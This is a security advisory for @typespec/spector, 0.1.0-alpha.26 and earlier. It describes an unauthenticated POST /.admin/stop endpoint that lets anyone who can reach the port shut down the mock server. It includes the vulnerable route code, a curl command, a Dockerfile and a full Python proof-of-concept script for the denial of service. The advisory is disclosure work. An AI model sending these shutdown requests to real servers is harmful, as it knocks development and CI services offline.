GHSA-7Q9C-HPX7-9CWM
Vulnerability from github – Published: 2026-09-04 21:43 – Updated: 2026-09-04 21:43
VLAI
Summary
TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop
Details
Summary
@typespec/spector registers a POST /.admin/stop HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to 0.0.0.0 by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is High (CVSS 7.5).
Details
The vulnerability originates in packages/spector/src/routes/admin.ts at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
logger.info("Received signal to stop server. Exiting...");
res.status(202).end();
setTimeout(() => {
process.exit(0);
});
});
The constant AdminUrls.stop resolves to /.admin/stop (packages/spector/src/constants.ts:1-3).
The complete attack-reachable call chain is:
packages/spector/src/cli/cli.ts:139-166—tsp-spector serve <scenariosPaths..>starts the server on default port3000. Nohostoption is offered, so binding address is determined by the Express/Node.js default.packages/spector/src/actions/serve.ts:28-33— constructsMockApiAppand callsstart()without supplying a host argument.packages/spector/src/app/app.ts:39-40— registersinternalRouterat/, which includes the admin routes.packages/spector/src/routes/index.ts:4-5— mountsadminRoutesunder/.packages/spector/src/routes/admin.ts:7-12— thePOST /.admin/stophandler (the sink) is reached with zero authentication.packages/spector/src/server/server.ts:88—this.app.listen(this.config.port)is called without a host argument, causing Node.js/Express to bind on0.0.0.0(all network interfaces).
There is no authentication middleware, API token validation, Authorization header check, Origin header restriction, or IP allowlist anywhere between the inbound HTTP request and the process.exit(0) call. The admin route is mounted before scenario routes so it cannot be shadowed.
PoC
Prerequisites:
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
Step 1 — Start the mock server:
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
Alternatively, use the provided Docker environment:
# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
Step 2 — Execute the exploit (single unauthenticated request):
curl -i -X POST http://<server-host>:3000/.admin/stop
Using the provided PoC script:
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
Step 3 — Observe the result:
HTTP/1.1 202 Accepted
The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:
info Received signal to stop server. Exiting...
Docker inspect confirms ExitCode=0, Status=exited. No credentials, tokens, or special headers are required at any step.
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where tsp-spector serve is listening can terminate the server process with a single POST request, resulting in a complete denial of service.
The primary victims are development or CI/CD pipeline operators who run tsp-spector serve in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to 0.0.0.0 by default and the CLI offers no --host option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.
Although @typespec/spector is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.
Reproduction artifacts
Dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
FROM node:22-slim
# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4
WORKDIR /poc
# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json
# Install only the npm packages actually used by the vulnerable code path:
# express — web framework (admin.ts, routes/index.ts, server.ts)
# picocolors — terminal colors (logger.ts)
RUN npm install express picocolors
# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------
# packages/spector/src/constants.ts
# Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts
# packages/spector/src/logger.ts
# Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts
# packages/spector/src/routes/admin.ts ← VULNERABILITY SINK
# Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts
# packages/spector/src/routes/index.ts
# Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts
# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts
EXPOSE 3000
# tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE: CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)
Vulnerability:
packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
any authentication, token, Origin, or IP-source check. The handler calls
process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0
(packages/spector/src/server/server.ts:88) so any network-reachable client
can terminate the process with a single unauthenticated POST request.
Usage:
python3 poc.py [--host HOST] [--port PORT]
"""
import sys
import time
import socket
import argparse
import urllib.request
import urllib.error
BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE : CWE-306 CVSS 7.5 (High)
================================================================
"""
PASS_MSG = """
[EXPLOIT SUCCESSFUL]
1. Server accepted an unauthenticated POST to /.admin/stop
2. Server responded HTTP 202 Accepted with no credential check
3. Server process exited — subsequent connection attempt refused
4. Zero authentication, tokens, or Origin restrictions enforced
================================================================
"""
FAIL_MSG = """
[EXPLOIT FAILED]
Check that the Docker container is running:
docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
================================================================
"""
def is_port_open(host: str, port: int, timeout: float = 2.0) -> bool:
"""Return True if TCP port accepts connections."""
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except (ConnectionRefusedError, socket.timeout, OSError):
return False
def wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool:
"""Poll until the server is reachable or max_wait seconds elapse."""
print(f"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...")
deadline = time.monotonic() + max_wait
while time.monotonic() < deadline:
if is_port_open(host, port):
print(f"[+] Server is reachable at {host}:{port}")
return True
time.sleep(0.5)
return False
def send_unauthenticated_stop(host: str, port: int) -> int:
"""
Send POST /.admin/stop with no credentials and return the HTTP status code.
This is the exploit request. No Authorization header, no token, no
special Origin — the server accepts it as-is.
"""
url = f"http://{host}:{port}/.admin/stop"
print(f"[*] Sending unauthenticated POST to {url}")
print(f"[*] Request headers: (none beyond Host and Content-Length:0)")
req = urllib.request.Request(url, data=b"", method="POST")
try:
with urllib.request.urlopen(req, timeout=5) as resp:
code = resp.status
print(f"[+] HTTP response: {code} {resp.reason}")
return code
except urllib.error.HTTPError as exc:
print(f"[+] HTTP error response: {exc.code} {exc.reason}")
return exc.code
except urllib.error.URLError as exc:
# Connection closed before response (process.exit race) still counts
print(f"[+] Connection dropped during response: {exc.reason}")
return 202 # server accepted and exited before full response
def main() -> None:
parser = argparse.ArgumentParser(
description="PoC: unauthenticated remote shutdown of tsp-spector mock server"
)
parser.add_argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)")
args = parser.parse_args()
print(BANNER)
# Step 1 — Confirm the server is running before the attack
if not wait_for_server(args.host, args.port):
print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s")
print(FAIL_MSG)
sys.exit(1)
print()
print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it")
# Step 2 — Send the exploit (single unauthenticated POST)
print()
print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)")
status = send_unauthenticated_stop(args.host, args.port)
if status != 202:
print(f"[-] Expected HTTP 202 Accepted, got {status}")
print(FAIL_MSG)
sys.exit(1)
print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check")
# Step 3 — Verify the process actually exited
print()
print("[STEP 3] Verifying server has terminated ...")
time.sleep(2)
if is_port_open(args.host, args.port):
print("[-] Server is still accepting connections (exploit did not terminate process)")
print(FAIL_MSG)
sys.exit(1)
print("[+] Connection refused — server process has exited")
# All three steps passed → exploit confirmed
print(PASS_MSG)
sys.exit(0)
if __name__ == "__main__":
main()
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.0-alpha.26"
},
"package": {
"ecosystem": "npm",
"name": "@typespec/spector"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.0-alpha.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-04T21:43:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server\u0027s port\u2014not just localhost\u2014making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.\n\n### Details\n\nThe vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:\n\n```ts\n// packages/spector/src/routes/admin.ts:7-12\nrouter.post(AdminUrls.stop, (_req, res) =\u003e {\n logger.info(\"Received signal to stop server. Exiting...\");\n res.status(202).end();\n setTimeout(() =\u003e {\n process.exit(0);\n });\n});\n```\n\nThe constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).\n\nThe complete attack-reachable call chain is:\n\n1. **`packages/spector/src/cli/cli.ts:139-166`** \u2014 `tsp-spector serve \u003cscenariosPaths..\u003e` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.\n2. **`packages/spector/src/actions/serve.ts:28-33`** \u2014 constructs `MockApiApp` and calls `start()` without supplying a host argument.\n3. **`packages/spector/src/app/app.ts:39-40`** \u2014 registers `internalRouter` at `/`, which includes the admin routes.\n4. **`packages/spector/src/routes/index.ts:4-5`** \u2014 mounts `adminRoutes` under `/`.\n5. **`packages/spector/src/routes/admin.ts:7-12`** \u2014 the `POST /.admin/stop` handler (the sink) is reached with zero authentication.\n6. **`packages/spector/src/server/server.ts:88`** \u2014 `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).\n\nThere is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.\n\n### PoC\n\n**Prerequisites:**\n\n```\ngit clone https://github.com/microsoft/typespec\ncd typespec\n# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)\npnpm install\npnpm build\n```\n\n**Step 1 \u2014 Start the mock server:**\n\n```bash\npnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000\n# Server listens on 0.0.0.0:3000 by default\n```\n\nAlternatively, use the provided Docker environment:\n\n```bash\n# Build context: reports/npm_web_64_microsoft__typespec/\ndocker build -t vuln002-spector -f vuln-002/Dockerfile .\ndocker run -d -p 3001:3000 --name vuln002-server vuln002-spector\n```\n\n**Step 2 \u2014 Execute the exploit (single unauthenticated request):**\n\n```bash\ncurl -i -X POST http://\u003cserver-host\u003e:3000/.admin/stop\n```\n\nUsing the provided PoC script:\n\n```bash\npython3 vuln-002/poc.py --host 127.0.0.1 --port 3001\n```\n\n**Step 3 \u2014 Observe the result:**\n\n```\nHTTP/1.1 202 Accepted\n```\n\nThe server process immediately exits. Subsequent connection attempts are refused. Docker logs show:\n\n```\ninfo Received signal to stop server. Exiting...\n```\n\nDocker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.\n\nThe primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments\u2014for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.\n\nAlthough `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop\n# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\n# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)\n#\n# Build context: reports/npm_web_64_microsoft__typespec/\n# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .\n# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n\nFROM node:22-slim\n\n# Install tsx to run TypeScript source files directly without compilation.\n# This lets us use the actual repository .ts files as-is.\nRUN npm install -g tsx@4\n\nWORKDIR /poc\n\n# Minimal package.json declaring ESM mode\nRUN echo \u0027{\"type\":\"module\"}\u0027 \u003e package.json\n\n# Install only the npm packages actually used by the vulnerable code path:\n# express \u2014 web framework (admin.ts, routes/index.ts, server.ts)\n# picocolors \u2014 terminal colors (logger.ts)\nRUN npm install express picocolors\n\n# -----------------------------------------------------------------------\n# Copy the EXACT vulnerable source files from the repository.\n# No source file is modified \u2014 they are used verbatim.\n# -----------------------------------------------------------------------\n\n# packages/spector/src/constants.ts\n# Defines AdminUrls.stop = \"/.admin/stop\"\nCOPY repo/packages/spector/src/constants.ts ./spector/constants.ts\n\n# packages/spector/src/logger.ts\n# Simple console logger; imported by admin.ts\nCOPY repo/packages/spector/src/logger.ts ./spector/logger.ts\n\n# packages/spector/src/routes/admin.ts \u2190 VULNERABILITY SINK\n# Registers POST /.admin/stop with NO authentication \u2192 process.exit(0)\nCOPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts\n\n# packages/spector/src/routes/index.ts\n# Mounts adminRoutes at \"/\"\nCOPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts\n\n# Minimal entry point that connects the router to the HTTP server,\n# replicating the behaviour of MockApiApp.start() + MockApiServer.start()\nCOPY vuln-002/server-entry.ts ./server-entry.ts\n\nEXPOSE 3000\n\n# tsx strips TypeScript types at runtime \u2014 no separate compile step needed\nCMD [\"tsx\", \"server-entry.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop\nPackage: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\nCWE: CWE-306 \u2014 Missing Authentication for Critical Function\nCVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)\n\nVulnerability:\n packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without\n any authentication, token, Origin, or IP-source check. The handler calls\n process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0\n (packages/spector/src/server/server.ts:88) so any network-reachable client\n can terminate the process with a single unauthenticated POST request.\n\nUsage:\n python3 poc.py [--host HOST] [--port PORT]\n\"\"\"\n\nimport sys\nimport time\nimport socket\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\nBANNER = \"\"\"\n================================================================\nVULN-002: Unauthenticated Remote Shutdown \u2014 POST /.admin/stop\nPackage : @typespec/spector 0.1.0-alpha.26\nCWE : CWE-306 CVSS 7.5 (High)\n================================================================\n\"\"\"\n\nPASS_MSG = \"\"\"\n[EXPLOIT SUCCESSFUL]\n 1. Server accepted an unauthenticated POST to /.admin/stop\n 2. Server responded HTTP 202 Accepted with no credential check\n 3. Server process exited \u2014 subsequent connection attempt refused\n 4. Zero authentication, tokens, or Origin restrictions enforced\n================================================================\n\"\"\"\n\nFAIL_MSG = \"\"\"\n[EXPLOIT FAILED]\nCheck that the Docker container is running:\n docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n================================================================\n\"\"\"\n\n\ndef is_port_open(host: str, port: int, timeout: float = 2.0) -\u003e bool:\n \"\"\"Return True if TCP port accepts connections.\"\"\"\n try:\n with socket.create_connection((host, port), timeout=timeout):\n return True\n except (ConnectionRefusedError, socket.timeout, OSError):\n return False\n\n\ndef wait_for_server(host: str, port: int, max_wait: float = 30.0) -\u003e bool:\n \"\"\"Poll until the server is reachable or max_wait seconds elapse.\"\"\"\n print(f\"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...\")\n deadline = time.monotonic() + max_wait\n while time.monotonic() \u003c deadline:\n if is_port_open(host, port):\n print(f\"[+] Server is reachable at {host}:{port}\")\n return True\n time.sleep(0.5)\n return False\n\n\ndef send_unauthenticated_stop(host: str, port: int) -\u003e int:\n \"\"\"\n Send POST /.admin/stop with no credentials and return the HTTP status code.\n\n This is the exploit request. No Authorization header, no token, no\n special Origin \u2014 the server accepts it as-is.\n \"\"\"\n url = f\"http://{host}:{port}/.admin/stop\"\n print(f\"[*] Sending unauthenticated POST to {url}\")\n print(f\"[*] Request headers: (none beyond Host and Content-Length:0)\")\n\n req = urllib.request.Request(url, data=b\"\", method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=5) as resp:\n code = resp.status\n print(f\"[+] HTTP response: {code} {resp.reason}\")\n return code\n except urllib.error.HTTPError as exc:\n print(f\"[+] HTTP error response: {exc.code} {exc.reason}\")\n return exc.code\n except urllib.error.URLError as exc:\n # Connection closed before response (process.exit race) still counts\n print(f\"[+] Connection dropped during response: {exc.reason}\")\n return 202 # server accepted and exited before full response\n\n\ndef main() -\u003e None:\n parser = argparse.ArgumentParser(\n description=\"PoC: unauthenticated remote shutdown of tsp-spector mock server\"\n )\n parser.add_argument(\"--host\", default=\"127.0.0.1\", help=\"Target host (default: 127.0.0.1)\")\n parser.add_argument(\"--port\", type=int, default=3000, help=\"Target port (default: 3000)\")\n args = parser.parse_args()\n\n print(BANNER)\n\n # Step 1 \u2014 Confirm the server is running before the attack\n if not wait_for_server(args.host, args.port):\n print(f\"[-] Server not reachable at {args.host}:{args.port} after 30 s\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print()\n print(\"[STEP 1] Server confirmed running \u2014 unauthenticated attacker can reach it\")\n\n # Step 2 \u2014 Send the exploit (single unauthenticated POST)\n print()\n print(\"[STEP 2] Sending exploit: POST /.admin/stop (no credentials)\")\n status = send_unauthenticated_stop(args.host, args.port)\n\n if status != 202:\n print(f\"[-] Expected HTTP 202 Accepted, got {status}\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print(\"[+] HTTP 202 Accepted \u2014 server acknowledged shutdown with no auth check\")\n\n # Step 3 \u2014 Verify the process actually exited\n print()\n print(\"[STEP 3] Verifying server has terminated ...\")\n time.sleep(2)\n\n if is_port_open(args.host, args.port):\n print(\"[-] Server is still accepting connections (exploit did not terminate process)\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print(\"[+] Connection refused \u2014 server process has exited\")\n\n # All three steps passed \u2192 exploit confirmed\n print(PASS_MSG)\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-7q9c-hpx7-9cwm",
"modified": "2026-09-04T21:43:13Z",
"published": "2026-09-04T21:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/security/advisories/GHSA-7q9c-hpx7-9cwm"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/pull/11274"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/commit/30d6f6598dd796e2d6aea038139d29b91e6a2da7"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/commit/39f8f0230bb59b17464d8173b6bff4ddee8082a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/typespec"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/releases/tag/@typespec/spector@0.1.0-alpha.27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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